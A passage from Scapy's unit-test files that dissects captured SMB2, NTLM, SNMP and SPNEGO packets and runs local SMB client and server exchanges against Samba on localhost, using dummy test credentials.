SMB2_Negotiate_Context(b'\x05\x00\x1c\x00\x00\x00\x00\x001\x009\x002\x00.\x001\x006\x008\x00.\x001\x007\x008\x00.\x002\x001\x00') pkt = SMB2_Header() / SMB2_Negotiate_Protocol_Request(Dialects=[0x0311], NegotiateContexts=[preauth_context, enc_context, comp_context, netname_context], NegotiateContextsBufferOffset=0x68) pkt = SMB2_Header(raw(pkt)) nego_req = pkt[SMB2_Negotiate_Protocol_Request] preauth_dissected = nego_req.NegotiateContexts[0] assert preauth_dissected.ContextType == preauth_context.ContextType assert preauth_dissected.DataLength == preauth_context.DataLength assert preauth_dissected.HashAlgorithmCount == 1 assert preauth_dissected.SaltLength == 0 assert len(preauth_dissected.HashAlgorithms) == len(preauth_context.HashAlgorithms) assert preauth_dissected.HashAlgorithms[0] == preauth_context.HashAlgorithms[0] = SMB2 Negotiate Context in Request - type ENCRYPTION disassemble enc_dissected = nego_req.NegotiateContexts[1] assert enc_dissected.ContextType == enc_context.ContextType assert enc_dissected.DataLength == enc_context.DataLength assert enc_dissected.CipherCount == 1 assert len(enc_dissected.Ciphers) == len(enc_context.Ciphers) assert enc_dissected.Ciphers[0] == enc_context.Ciphers[0] = SMB2 Negotiate Context in Request - type COMPRESSION comp_dissected = nego_req.NegotiateContexts[2] assert comp_dissected.ContextType == comp_context.ContextType assert comp_dissected.DataLength == 8 assert comp_dissected.CompressionAlgorithmCount == 0 assert len(comp_dissected.CompressionAlgorithms) == len(comp_context.CompressionAlgorithms) = SMB2 Negotiate Context in Request - type NETNAME NEGOCIATE netname_dissected = nego_req.NegotiateContexts[3] assert netname_dissected.ContextType == netname_context.ContextType assert netname_dissected.DataLength == netname_context.DataLength assert netname_dissected.NetName == netname_context.NetName + SMB 2 Tree connect exchange = SMB2 Tree connect request # this is a rare one, and is kindof a nightmare to setup. figure it out alexander tree_con = Ether(b'RT\x00\x1c\x91\x8dRT\x00O9T\x08\x00E\x00\x00\xb0\x91\n@\x00\x80\x06\xe7\x1f\xc0\xa8\x00e\xc0\xa8\x00h\xc2@\x01\xbd\xd6a\x0e\xc2gX\xca\xb8P\x18\x04\x02\x82\xc0\x00\x00\x00\x00\x00\x84\xfeSMB@\x00\x01\x00\x00\x00\x00\x00\x03\x00\x01\x00\x18\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00$\x08\x00\xe4\xd7o\xa1\x96\xf9mm\xca[%\x1c\x8bG\x8a\xd6\t\x00\x02\x00H\x00<\x00\\\x00\\\x00s\x00c\x00a\x00l\x00e\x00o\x00u\x00t\x00.\x00d\x00o\x00m\x00a\x00i\x00n\x00.\x00l\x00o\x00c\x00a\x00l\x00\\\x00s\x00h\x00a\x00r\x00e\x001\x00') assert tree_con.Path == '\\\\scaleout.domain.local\\share1' assert tree_con[SMB2_Tree_Connect_Request].Flags.REDIRECT_TO_OWNER = SMB2 Tree connect response tree_con_resp = Ether(b'RT\x00O9TRT\x00\x1c\x91\x8d\x08\x00E\x00\x00\xfeM\xfb@\x00\x80\x06)\xe1\xc0\xa8\x00h\xc0\xa8\x00e\x01\xbd\xc2@gX\xca\xb8\xd6a\x0fJP\x18 \x13\x83\x0e\x00\x00\x00\x00\x00\xd2\xfeSMB@\x00\x01\x00\xcc\x00\x00\xc0\x03\x00\x01\x00\x19\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00$\x08\x00\x1a\xc0\nRt\xe7\x04\x1b;\xd3gV\xe0\x1e\x87\xd1\t\x00\x01\x00\x8a\x00\x00\x00\x82\x00\x00\x00SRdr0\x00\x00\x00\x03\x00\x00\x00`\x00\x00\x00"\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc0\xa8\x00il\x00\\\x00s\x00h\x00a\x00r\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc0\xa8d\x8f\x1e\xd4.mk\xa0\xa3py\xa4\x9c\x8dJ\xc8\xd0\x9a\xfd\xc1\x00\x00\x02\x00\x06\x00\x00\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\\\x00\\\x00S\x00C\x00A\x00L\x00E\x00O\x00U\x00T\x00\\\x00s\x00h\x00a\x00r\x00e\x001\x00') assert tree_con_resp.Status == 0xc00000cc assert tree_con_resp.Flags.SMB2_FLAGS_SERVER_TO_REDIR ctx = SMB2_Error_ContextResponse(tree_con_resp.ErrorData) assert ctx.ErrorId == 0x72645253 assert ctx.ErrorContextData.NotificationType == 3 assert ctx.ErrorContextData.ResourceName == '\\\\SCALEOUT\\share1' assert [x.IPAddress for x in ctx.ErrorContextData.IPAddrMoveList] == ['192.168.0.105', '192.168.100.143'] + SMB 2 Setup Session = Setup Session Request from scapy.layers.ntlm import * setup_sess = NBTSession(b'\x00\x00\x00\xa2\xfeSMB@\x00\x01\x00\x00\x00\x00\x00\x01\x00!\x00\x10\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00X\x00J\x00\x00\x00\x00\x00\x00\x00\x00\x00`H\x06\x06+\x06\x01\x05\x05\x02\xa0>0<\xa0\x0e0\x0c\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xa2*\x04(NTLMSSP\x00\x01\x00\x00\x00\x97\x82\x08\xe2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00aJ\x00\x00\x00\x0f') assert isinstance(setup_sess.Buffer[0][1].innerToken.token.mechToken.value, NTLM_NEGOTIATE) assert setup_sess.Buffer[0][1].innerToken.token.mechToken.value.ProductBuild == 19041 = Setup Session Response from scapy.layers.ntlm import * setup_sess = NBTSession(b'\x00\x00\x00\xe7\xfeSMB@\x00\x01\x00\x16\x00\x00\xc0\x01\x00\x01\x00\x11\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00H\x00\x9f\x00\xa1\x81\x9c0\x81\x99\xa0\x03\n\x01\x01\xa1\x0c\x06\n+\x06\x01\x04\x01\x827\x02\x02\n\xa2\x81\x83\x04\x81\x80NTLMSSP\x00\x02\x00\x00\x00\x08\x00\x08\x008\x00\x00\x00\x15\x82\x8a\xe2\xe0\x14\xe7\xbf\xfd@\x01+\x00\x00\x00\x00\x00\x00\x00\x00@\x00@\x00@\x00\x00\x00\n\x00aJ\x00\x00\x00\x0fW\x00I\x00N\x001\x00\x02\x00\x08\x00W\x00I\x00N\x001\x00\x01\x00\x08\x00W\x00I\x00N\x001\x00\x04\x00\x08\x00W\x00I\x00N\x001\x00\x03\x00\x08\x00W\x00I\x00N\x001\x00\x07\x00\x08\x00\xef\x1f\x0e\tE\xe6\xd7\x01\x00\x00\x00\x00') assert isinstance(setup_sess.Buffer[0][1].token.responseToken.value, NTLM_CHALLENGE) assert setup_sess.Buffer[0][1].token.responseToken.value assert setup_sess.Buffer[0][1].token.responseToken.value.Payload[0] == ('TargetName', 'WIN1') assert setup_sess.Buffer[0][1].token.responseToken.value.Payload[1][1][-1].AvId == 0 = SMB2 IOCTL Request - Validate negotiate info ioctl_req = Ether(b'RT\x00\xb6[=\x16\xb4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x00\x00\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x89\x00\x12\x00\x00\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00d\x00\x00\x00x\x00\x16\x00\x90\x00\x00\x00\xb4\x00\x00\x00d\x00e\x00s\x00k\x00t\x00o\x00p\x00.\x00i\x00n\x00i\x00\x00\x008\x00\x00\x00\x10\x00\x04\x00\x00\x00\x18\x00 \x00\x00\x00DH2Q\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x000\x1d\xb3\xc8\xfa\r\xed\x11\xb7R\x808\xfb\xd6\xa0~\x18\x00\x00\x00\x10\x00\x04\x00\x00\x00\x18\x00\x00\x00\x00\x00MxAc\x00\x00\x00\x00\x18\x00\x00\x00\x10\x00\x04\x00\x00\x00\x18\x00\x00\x00\x00\x00QFid\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x04\x00\x00\x00\x18\x004\x00\x00\x00RqLs\x00\x00\x00\x00\xc8\x9bA\xdb\x8e\xd1\x19\xf4\\;\x846;\xf6\xca\xe0\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert sess_create_context.Name == "desktop.ini" assert isinstance(sess_create_context.CreateContexts[0].Data, SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2) assert sess_create_context.CreateContexts[1].Name == b"MxAc" assert sess_create_context.CreateContexts[2].Name == b"QFid" assert isinstance(sess_create_context.CreateContexts[3].Data, SMB2_CREATE_REQUEST_LEASE_V2) sess_create_context_response = NBTSession(b"\x00\x00\x00\xf0\xfeSMB@\x00\x01\x00\x00\x00\x00\x00\x05\x00\x01\x001\x00\x00\x00\x00\x00\x00\x00\x7f\xcd\t\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x9bk>\xb6[=\x16\xb4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Y\x00\x00\x00\x01\x00\x00\x00\x9d\x89JH\xbe\xa1\xd8\x01\x9d\x89JH\xbe\xa1\xd8\x01{\x0f$W\x06\xa2\xd8\x01{\x0f$W\x06\xa2\xd8\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x13\x17\xe8L\x00\x00\x00\x00'\x1aT\xad\x00\x00\x00\x00\x98\x00\x00\x00X\x00\x00\x00 \x00\x00\x00\x10\x00\x04\x00\x00\x00\x18\x00\x08\x00\x00\x00MxAc\x00\x00\x00\x00\x00\x00\x00\x00\xff\x01\x1f\x00\x00\x00\x00\x00\x10\x00\x04\x00\x00\x00\x18\x00 \x00\x00\x00QFid\x00\x00\x00\x00\x01\x00$\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") assert sess_create_context_response.CreateContexts[0].Data.QueryStatus == 0 assert sess_create_context_response.CreateContexts[1].Data.DiskFileId == 2359297 assert sess_create_context_response.CreateContexts[1].Data.Reserved == b'\x00' * 16 = SMB2 Query Info Response with Security Descriptor qr = SMB2_Query_Info_Response(b'\t\x00H\x00\xe0\x00\x00\x00\x01\x00\x14\x9c\x14\x00\x00\x004\x00\x00\x00\x00\x00\x00\x00T\x00\x00\x00\x01\x06\x00\x00\x00\x00\x00\x05P\x00\x00\x00\xb5\x89\xfb8\x19\x84\xc2\xcb\\l#mW\x00wn\xc0\x02d\x87\x01\x06\x00\x00\x00\x00\x00\x05P\x00\x00\x00\xb5\x89\xfb8\x19\x84\xc2\xcb\\l#mW\x00wn\xc0\x02d\x87\x02\x00\x8c\x00\x06\x00\x00\x00\x00\x03\x18\x00\xa9\x00\x12\x00\x01\x02\x00\x00\x00\x00\x00\x0f\x02\x00\x00\x00\x01\x00\x00\x00\x00\x0b\x14\x00\xff\x01\x1f\x00\x01\x01\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x03\x14\x00\xff\x01\x1f\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x03\x14\x00\xff\x01\x1f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00\x00\x03\x18\x00\xff\x01\x1f\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00\x00\x03\x18\x00\xa9\x00\x12\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00!\x02\x00\x00') sd = SECURITY_DESCRIPTOR(qr.Output) assert sd.OwnerSid.summary() == 'S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464' assert sd.GroupSid.summary() == 'S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464' assert sd.DACL.toSDDL() == [ '(A;OI+CI;;;;S-1-15-2-1)', '(A;OI+CI+IO;;;;S-1-3-0)', '(A;OI+CI;;;;S-1-1-0)', '(A;OI+CI;;;;S-1-5-18)', '(A;OI+CI;;;;S-1-5-32-544)', '(A;OI+CI;;;;S-1-5-32-545)', ] = SMB2 Set Info Request with Rename set_info = NBTSession(b'\x00\x00\x00|\xfeSMB@\x00\x01\x00#\x00\x00\x00\x11\x00\x01\x000\x00\x00\x00\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x01\x00\x00\x00\x15\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x01\n\x1c\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\xb0\n\x9c\xfd@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc3\x01\xc1\\\\1\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00t\x00e\x00s\x00t\x00') assert set_info.FileId.Persistent == 0x40fd9c0ab0 assert isinstance(set_info.Data, FileRenameInformation) assert set_info.Data.FileName == "test" assert not set_info.Data.ReplaceIfExists = SMB2 - Build and dissect SECURITY_DESCRIPTOR from scapy.layers.windows.security import * sd = SECURITY_DESCRIPTOR( Control="DACL_PRESENT+DACL_PROTECTED+SELF_RELATIVE", OwnerSid=WINNT_SID.fromstr("S-1-1-0"), GroupSid=WINNT_SID.fromstr("S-1-1-0"), DACL=WINNT_ACL( Aces=[ WINNT_ACE_HEADER() / WINNT_ACCESS_ALLOWED_ACE( Mask=1, Sid=WINNT_SID.fromstr("S-1-1-0"), ) ] ) ) sd = SECURITY_DESCRIPTOR(bytes(sd)) assert sd.OwnerSidOffset == 20 assert sd.GroupSidOffset == 32 assert sd.SACLOffset == 0 assert sd.DACLOffset == 44 assert sd.OwnerSid.summary() == "S-1-1-0" assert sd.GroupSid.summary() == "S-1-1-0" assert sd.DACL.toSDDL() == ['(A;;;;;S-1-1-0)'] assert sd.DACL.AclSize == len(sd.DACL) ================================================ FILE: test/scapy/layers/smbclientserver.uts ================================================ % SMB2 Client and Server tests + SMB2 Client tests ~ linux smbclient samba = Define samba server import subprocess # Create a temporary directory to serve TEMP_DIR = pathlib.Path(get_temp_dir()) TEMP_DIR.chmod(0o0755) print(TEMP_DIR) # Put stuff in it SHARE_DIR = TEMP_DIR / "share" SHARE_DIR.mkdir() SHARE_DIR.chmod(0o0777) (SHARE_DIR / "fileA").touch() (SHARE_DIR / "fileB").touch() (SHARE_DIR / "fileScapy").touch() (SHARE_DIR / "ignoredFile").symlink_to("fileA") (SHARE_DIR / "sub").mkdir() (SHARE_DIR / "sub").chmod(0o0777) (SHARE_DIR / "sub" / "secret").touch() # required for smb.conf to work in standalone without root.. wtf LOGS_DIR = TEMP_DIR / "logs" LOCK_DIR = TEMP_DIR / "lock" PRIVATE_DIR = TEMP_DIR / "private" PID_DIR = TEMP_DIR / "pid" CACHE_DIR = TEMP_DIR / "cache" STATE_DIRECTORY = TEMP_DIR / "state" NCALRPC_DIR = TEMP_DIR / "ncalrpc" for dir in [LOGS_DIR, LOCK_DIR, PRIVATE_DIR, PID_DIR, CACHE_DIR, STATE_DIRECTORY, NCALRPC_DIR]: dir.mkdir() SMBD_LOG = LOGS_DIR / "log.smbd" SMBD_LOG.touch() # smb.conf CONF_FILE = get_temp_file(autoext=".conf") CONF = """ # Scapy unit tests samba server [global] workgroup = WORKGROUP server role = standalone server security = user map to guest = bad user log level = 1 smb2:5 auth:3 bind interfaces only = yes interfaces = 127.0.0.0/8 lock directory = %s private directory = %s cache directory = %s ncalrpc dir = %s pid directory = %s state directory = %s [test] comment = Test share path = %s guest ok = yes browseable = yes read only = no public = yes """ % ( LOCK_DIR, PRIVATE_DIR, CACHE_DIR, NCALRPC_DIR, PID_DIR, STATE_DIRECTORY, SHARE_DIR, ) print(CONF) with open(CONF_FILE, "w") as fd: fd.write(CONF) # define server context manager class run_smbserver: def __init__(self): self.proc = None def __enter__(self): # Empty log with SMBD_LOG.open('w') as fd: fd.write("") print("@ Starting smbd server") # Start server self.proc = subprocess.Popen(["/usr/sbin/smbd", "-F", "-p", "12345", "-s", CONF_FILE, "-l", LOGS_DIR]) # wait for it to start for i in range(10): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) try: sock.connect(("127.0.0.1", 12345)) break except Exception: time.sleep(0.5) finally: sock.close() else: raise TimeoutError print("@ Server started !") def __exit__(self, exc_type, exc_value, traceback): print("@ Stopping smbd server !") self.proc.terminate() self.proc.wait() if traceback: # failed print("\nTest failed. Smbd logs:") with SMBD_LOG.open('r') as fd: print(fd.read()) print("@ smbd server stopped !") # define client def run_smbclient(max_dialect=0x0202): return smbclient("localhost", "guest", port=12345, guest=True, cli=False, debug=4, MAX_DIALECT=max_dialect) = smbclient: SMB 2.0.2 - connect then list shares with run_smbserver(): try: cli = run_smbclient() results = cli.shares() print(results) assert ('test', 'DISKTREE', 'Test share') in results assert any(x[0] == "IPC$" for x in results) finally: cli.close() = smbclient: SMB 2.0.2 - connect to test share and list files with run_smbserver(): try: cli = run_smbclient() cli.use("test") files = cli.ls() names = [x[0] for x in files] assert all(x in names for x in ['.', '..', 'sub', 'fileB', 'fileScapy', 'fileA']) finally: cli.close() = smbclient: SMB 2.0.2 - connect to test share and get file LOCALPATH = pathlib.Path(get_temp_dir()) with run_smbserver(): try: cli = run_smbclient() cli.use("test") cli.lcd(str(LOCALPATH)) completions = cli.get_complete("file") assert all(x in completions for x in ['fileA', 'fileB']) cli.get('fileA') assert (LOCALPATH / "fileA").exists() assert [x.name for x in cli.lls()] == ['fileA'] finally: cli.close() = smbclient: SMB 2.0.2 - connect to test share, cd, put file and cat it LOCALPATH = pathlib.Path(get_temp_dir()) with (LOCALPATH / "fileC").open("w") as fd: fd.write("Nice\nData") with run_smbserver(): try: cli = run_smbclient() cli.use("test") cli.lcd(str(LOCALPATH)) cli.cd("sub") # upload cli.put('fileC') # check completion completions = cli.get_complete("") assert all(x in completions for x in ['secret', 'fileC']) # cat assert cli.cat('fileC') == b'Nice\nData' # check on disk with (SHARE_DIR / "sub" / "fileC").open("r") as fd: assert fd.read() == "Nice\nData" finally: cli.close() = smbclient: SMB 2.0.2 - connect to test share and recursive get LOCALPATH = pathlib.Path(get_temp_dir()) with run_smbserver(): try: cli = run_smbclient() cli.use("test") cli.lcd(str(LOCALPATH)) cli.get(".", r=True) # check on disk finally: cli.close() assert (LOCALPATH / "fileA").exists() assert (LOCALPATH / "fileB").exists() assert (LOCALPATH / "fileScapy").exists() assert (LOCALPATH / "sub").exists() assert (LOCALPATH / "sub" / "secret").exists() = smbclient: SMB 3.1.1 - connect to test share and recursive get LOCALPATH = pathlib.Path(get_temp_dir()) with run_smbserver(): try: cli = run_smbclient(max_dialect=0x0311) cli.use("test") cli.lcd(str(LOCALPATH)) cli.get(".", r=True) # check on disk finally: cli.close() assert (LOCALPATH / "fileA").exists() assert (LOCALPATH / "fileB").exists() assert (LOCALPATH / "fileScapy").exists() assert (LOCALPATH / "sub").exists() assert (LOCALPATH / "sub" / "secret").exists() + SMB2 Server tests ~ linux smbserver samba = Define Scapy smb server import subprocess import select ROOTPATH = pathlib.Path(get_temp_dir()) # Populate with stuff (ROOTPATH / "fileA").touch() (ROOTPATH / "fileB").touch() (ROOTPATH / "fileScapy").touch() (ROOTPATH / "sub").mkdir() (ROOTPATH / "sub" / "secret").touch() # content with (ROOTPATH / "fileScapy").open("w") as fd: fd.write("Nice\nData") class run_smbserver: def __init__(self, guest=False, readonly=True, encryptshare=False, MAX_DIALECT=0x311): self.srv = None self.guest = guest self.readonly = readonly self.encryptshare = encryptshare self.MAX_DIALECT = MAX_DIALECT def __enter__(self): if self.guest: ssp = None else: ssp = SPNEGOSSP([NTLMSSP(IDENTITIES={ "User1": MD4le("Password1"), "Administrator": MD4le("Password2") })]) self.srv = smbserver( shares=[SMBShare("Scapy", ROOTPATH, encryptdata=self.encryptshare), SMBShare("test", ROOTPATH, encryptdata=self.encryptshare)], iface=conf.loopback_name, debug=4, port=12345, bg=True, readonly=self.readonly, MAX_DIALECT=self.MAX_DIALECT, ssp=ssp, ) def __exit__(self, exc_type, exc_value, traceback): self.srv.close() # define client class run_smbclient: def __init__(self, user=None, password=None, share=None, list=False, cwd=None, debug=None, maxversion=None, encrypt=False): args = [ "smbclient", ] + (["-L"] if list else []) + [ "//127.0.0.1%s" % (("/%s" % share) if share else ""), "-p", "12345", ] if user and password: args.extend([ "-U", "DOMAIN/%s" % user, "--password", password, ]) else: args.append("-N") if maxversion: args.extend(["-m", maxversion]) if encrypt: args.extend(["--client-protection", "encrypt"]) self.args = args self.proc = subprocess.Popen( args, text=True, bufsize=0, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=cwd, ) self.output = "" def cmd(self, command): # send command self.proc.stdin.write(command + "\n") self.proc.stdin.flush() def getoutput(self): self.output += self.proc.communicate(input="exit\n", timeout=10)[0] return [x.strip() for x in self.output.split("\n") if x.strip()] def close(self): if self.proc.poll(): self.proc.terminate() def printdebug(self): # Print stuff print("\nTest failed.") print("smbclient arguments:", self.args) print("smbclient output:") print(self.output) cli = None = smbserver: SMB 3.1.1 - connect then list shares with run_smbserver(guest=True): try: cli = run_smbclient(list=True) output = cli.getoutput() shares = [x[0] for x in (y.split(" ") for y in output if "Disk" in y)] assert shares == ['Scapy', 'test'] except Exception: cli.printdebug() raise finally: cli.close() = smbserver: SMB 3.1.1 - connect then ls with run_smbserver(): try: cli = run_smbclient(user="Administrator", password="Password2", share="test") cli.cmd("ls") output = cli.getoutput()[1:] files = [x[0] for x in (y.split(" ") for y in output if "blocks" not in y)] print(files) assert files == ['.', 'fileA', 'fileB', 'fileScapy', 'sub'] except Exception: cli.printdebug() raise finally: cli.close() = smbserver: SMB 2.0.2 - connect then ls with run_smbserver(): try: cli = run_smbclient(user="Administrator", password="Password2", share="test", maxversion="SMB2_02") cli.cmd("ls") output = cli.getoutput()[1:] files = [x[0] for x in (y.split(" ") for y in output if "blocks" not in y)] print(files) assert files == ['.', 'fileA', 'fileB', 'fileScapy', 'sub'] except Exception: cli.printdebug() raise finally: cli.close() = smbserver: SMB 3.1.1 - connect then get file LOCALPATH = pathlib.Path(get_temp_dir()) with run_smbserver(): try: cli = run_smbclient(user="Administrator", password="Password2", share="test", cwd=LOCALPATH) cli.cmd("get fileScapy") output = cli.getoutput() print(output) assert "size 9" in output[0], "no size" assert (LOCALPATH / "fileScapy").exists(), "file doesn't exist" with (LOCALPATH / "fileScapy").open("r") as fd: assert fd.read() == "Nice\nData", "invalid data" except Exception: cli.printdebug() raise finally: cli.close() = smbserver: SMB 3.1.1 - connect then put file LOCALPATH = pathlib.Path(get_temp_dir()) nicedata = ("A" * 100 + "\n") * 5 with open(LOCALPATH / "newCustomFile", "w") as fd: fd.write(nicedata) with run_smbserver(readonly=False): try: cli = run_smbclient(user="Administrator", password="Password2", share="test", cwd=LOCALPATH) cli.cmd("put newCustomFile") output = cli.getoutput() print(output) assert "putting file newCustomFile" in output[0], "strange output" assert (ROOTPATH / "newCustomFile").exists(), "file doesn't exist" with (ROOTPATH / "newCustomFile").open("r") as fd: assert fd.read() == nicedata, "invalid data" except Exception: cli.printdebug() raise finally: cli.close() = smbserver: SMB 3.0.2 - require global encryption LOCALPATH = pathlib.Path(get_temp_dir()) nicedata = ("A" * 100 + "\n") * 5 with open(LOCALPATH / "newCustomFile", "w") as fd: fd.write(nicedata) with run_smbserver(readonly=False, MAX_DIALECT=0x0302): try: cli = run_smbclient(user="Administrator", password="Password2", share="test", cwd=LOCALPATH, encrypt=True) cli.cmd("put newCustomFile") output = cli.getoutput() print(output) assert "putting file newCustomFile" in output[0], "strange output" assert (ROOTPATH / "newCustomFile").exists(), "file doesn't exist" with (ROOTPATH / "newCustomFile").open("r") as fd: assert fd.read() == nicedata, "invalid data" except Exception: cli.printdebug() raise finally: cli.close() = smbserver: SMB 3.1.1 - require share encryption LOCALPATH = pathlib.Path(get_temp_dir()) nicedata = ("A" * 100 + "\n") * 5 with open(LOCALPATH / "newCustomFile", "w") as fd: fd.write(nicedata) with run_smbserver(readonly=False, encryptshare=True): try: cli = run_smbclient(user="Administrator", password="Password2", share="test", cwd=LOCALPATH) cli.cmd("put newCustomFile") output = cli.getoutput() print(output) assert "putting file newCustomFile" in output[0], "strange output" assert (ROOTPATH / "newCustomFile").exists(), "file doesn't exist" with (ROOTPATH / "newCustomFile").open("r") as fd: assert fd.read() == nicedata, "invalid data" except Exception: cli.printdebug() raise finally: cli.close() ================================================ FILE: test/scapy/layers/snmp.uts ================================================ % SNMP regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + SNMP layer = SNMP assembling ~ SNMP ASN1 r = raw(SNMP()) r assert r == b'0\x18\x02\x01\x01\x04\x06public\xa0\x0b\x02\x01\x00\x02\x01\x00\x02\x01\x000\x00' p = SNMP(version="v2c", community="ABC", PDU=SNMPbulk(id=4,varbindlist=[SNMPvarbind(oid="1.2.3.4",value=ASN1_INTEGER(7)),SNMPvarbind(oid="4.3.2.1.2.3",value=ASN1_IA5_STRING("testing123"))])) p r = raw(p) r assert r == b'05\x02\x01\x01\x04\x03ABC\xa5+\x02\x01\x04\x02\x01\x00\x02\x01\x000 0\x08\x06\x03*\x03\x04\x02\x01\x070\x14\x06\x06\x81#\x02\x01\x02\x03\x16\ntesting123' = SNMP disassembling ~ SNMP ASN1 x=SNMP(b'0y\x02\x01\x00\x04\x06public\xa2l\x02\x01)\x02\x01\x00\x02\x01\x000a0!\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x07\n\x86\xde\xb78\x04\x0b172.31.19.20#\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x07\n\x86\xde\xb76\x04\r255.255.255.00\x17\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x05\n\x86\xde\xb9`\x02\x01\x01') x.show() assert x.community==b"public" and x.version == 0 assert x.PDU.id == 41 and len(x.PDU.varbindlist) == 3 assert x.PDU.varbindlist[0].oid == "1.3.6.1.4.1.253.8.64.4.2.1.7.10.14130104" assert x.PDU.varbindlist[0].value == b"172.31.19.2" assert x.PDU.varbindlist[2].oid == "1.3.6.1.4.1.253.8.64.4.2.1.5.10.14130400" assert x.PDU.varbindlist[2].value == 1 = Basic UDP/SNMP bindings ~ SNMP ASN1 z = UDP()/x z = UDP(raw(z)) assert SNMP in z x = UDP()/SNMP() assert x.sport == x.dport == 161 = Basic SNMPvarbind build ~ SNMP ASN1 x = SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.4.0"), value=RandBin()) x = SNMPvarbind(raw(x)) assert isinstance(x.value, ASN1_STRING) = SNMPvarbind noSuchInstance dissection ~ SNMP ASN1 x = SNMPvarbind(b'0\x10\x06\x0c+\x06\x01\x02\x01/\x01\x01\x01\x01\n\x01\x81\x00') assert not x.noSuchObject assert x.noSuchInstance assert not x.endOfMibView = Failing SNMPvarbind dissection ~ SNMP ASN1 try: SNMP(b'0a\x02\x01\x00\x04\x06public\xa3T\x02\x02D\xd0\x02\x01\x00\x02\x01\x000H0F\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D') assert False except BER_Decoding_Error: pass #= Test snmpwalk() # #~ netaccess #def test_snmpwalk(dst): # with ContextManagerCaptureOutput() as cmco: # snmpwalk(dst=dst) # output = cmco.get_output() # expected = "No answers\n" # assert output == expected # #test_snmpwalk("secdev.org") ================================================ FILE: test/scapy/layers/spnego.uts ================================================ % SPNEGO unit tests + Special SPNEGO tests = SPNEGOSSP - test raw fallback % A SPNEGOSSP server talking to a non SPNEGOSSP client should work. srvssp = SPNEGOSSP([KerberosSSP(), NTLMSSP(IDENTITIES={"User1": MD4le("Password123!")})]) clissp = NTLMSSP(UPN="User1", PASSWORD="Password123!") clictx, tok, status = clissp.GSS_Init_sec_context(None) assert status == GSS_S_CONTINUE_NEEDED, status srvctx, tok, status = srvssp.GSS_Accept_sec_context(None, tok) assert status == GSS_S_CONTINUE_NEEDED, status clictx, tok, status = clissp.GSS_Init_sec_context(clictx, tok) assert status == GSS_S_COMPLETE, status srvctx, tok, status = srvssp.GSS_Accept_sec_context(srvctx, tok) assert status == GSS_S_COMPLETE, status assert tok is None, repr(tok) = SPNEGOSSP - 